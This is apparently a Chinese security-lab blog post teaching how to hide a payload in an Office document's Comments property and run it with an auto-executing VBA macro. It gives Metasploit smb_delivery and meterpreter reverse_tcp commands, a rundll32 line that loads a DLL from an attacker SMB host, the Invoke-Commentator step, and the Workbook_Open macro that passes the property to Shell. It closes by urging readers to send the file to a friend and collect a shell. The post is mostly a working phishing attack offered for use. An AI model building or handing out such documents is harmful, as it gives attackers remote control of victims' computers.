您当前的位置: 首页 > 

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

利用Office文档属性执行payload

合天网安实验室 发布时间:2019-09-10 09:26:36 ,浏览量:0

0x00

Microsoft Office相信大家都用过。Office在文档中嵌入对象极大的方便了我们的日常使用,但同时也为我们带来了众多安全问题。可以说,Office文档为攻击者提供了各种方法来诱骗受害者运行任意代码。当然,攻击者也可能会尝试利用Office漏洞,但更常见的情况是,攻击者会向受害者发送包含恶意宏或嵌入式(Packager)可执行文件的Office文档。

在本文中,我将向大家介绍一种apt常用的攻击手法,利用Office文档属性执行payload

0x01

首先在msf执行以下代码,设置我们攻击的payload

use exploit/windows/smb/smb_delivery
set PAYLOAD windows/meterpreter/reverse_tcp

生成payload

rundll32.exe \\192.168.65.130\Npxy\test.dll,0

利用这个项目将payload植入文档属性中

Invoke-Commentator -OfficeFile .\test.xlsx -Comment "rundll32.exe \\192.168.65.130\Npxy\test.dll,0"          The new file with added comment has been written to .\test-wlc.xlsx.

如图:

将payload 植入文档中的注释部分

我们来看看新建的文档的属性,可以看到我们刚才的payload成功植入

0x02

要想成功将属性的代码执行,我们还要添加一个宏代码将恶意代码执行

为文档添加一个宏,将以下代码粘贴

Sub Workbook_Open()
Dim p As DocumentProperty
 For Each p In ActiveWorkbook.BuiltinDocumentProperties
    If p.Name = "Comments" Then
        Shell (p.Value)
    End If
 Next
End Sub

除了这里使用的xlsx文件,你也可以使用Word,PowerPoint,在这里给出代码

Word
Dim prop As DocumentProperty
 For Each prop In ActiveDocument.BuiltInDocumentProperties
    If prop.Name = "Comments" Then
        MsgBox prop.Value
    End If
 Next

Excel

Dim prop As DocumentProperty
 For Each prop In ActiveWorkbook.BuiltinDocumentProperties
    If prop.Name = "Comments" Then
        MsgBox prop.Value
    End If
 Next

PowerPoint

Dim prop As DocumentProperty
 For Each prop In ActivePresentation.BuiltInDocumentProperties
    If prop.Name = "Comments" Then
        MsgBox prop.Value
    End If
 Next

为了通过Workbook_Open()函数利用自动执行,需要将武器化的MS Excel文档降级为Office 98 - 2003兼容性(.xls)

这样一个完整的恶意office文档就完成了,发给小伙伴试试

0x03

小伙伴收到文件,双击打开,提示要启动宏才可以,于是点开了启用宏.....

然后,我们就可以收到小伙伴电脑的shell了

本文只是简单介绍方法、抛砖引玉,当然还有很多可以优化改进的地方,大家可再完善。

相关实验:

Microsoft_PowerPoint宏攻击(扫码学习)http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182016011817104100001

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0397s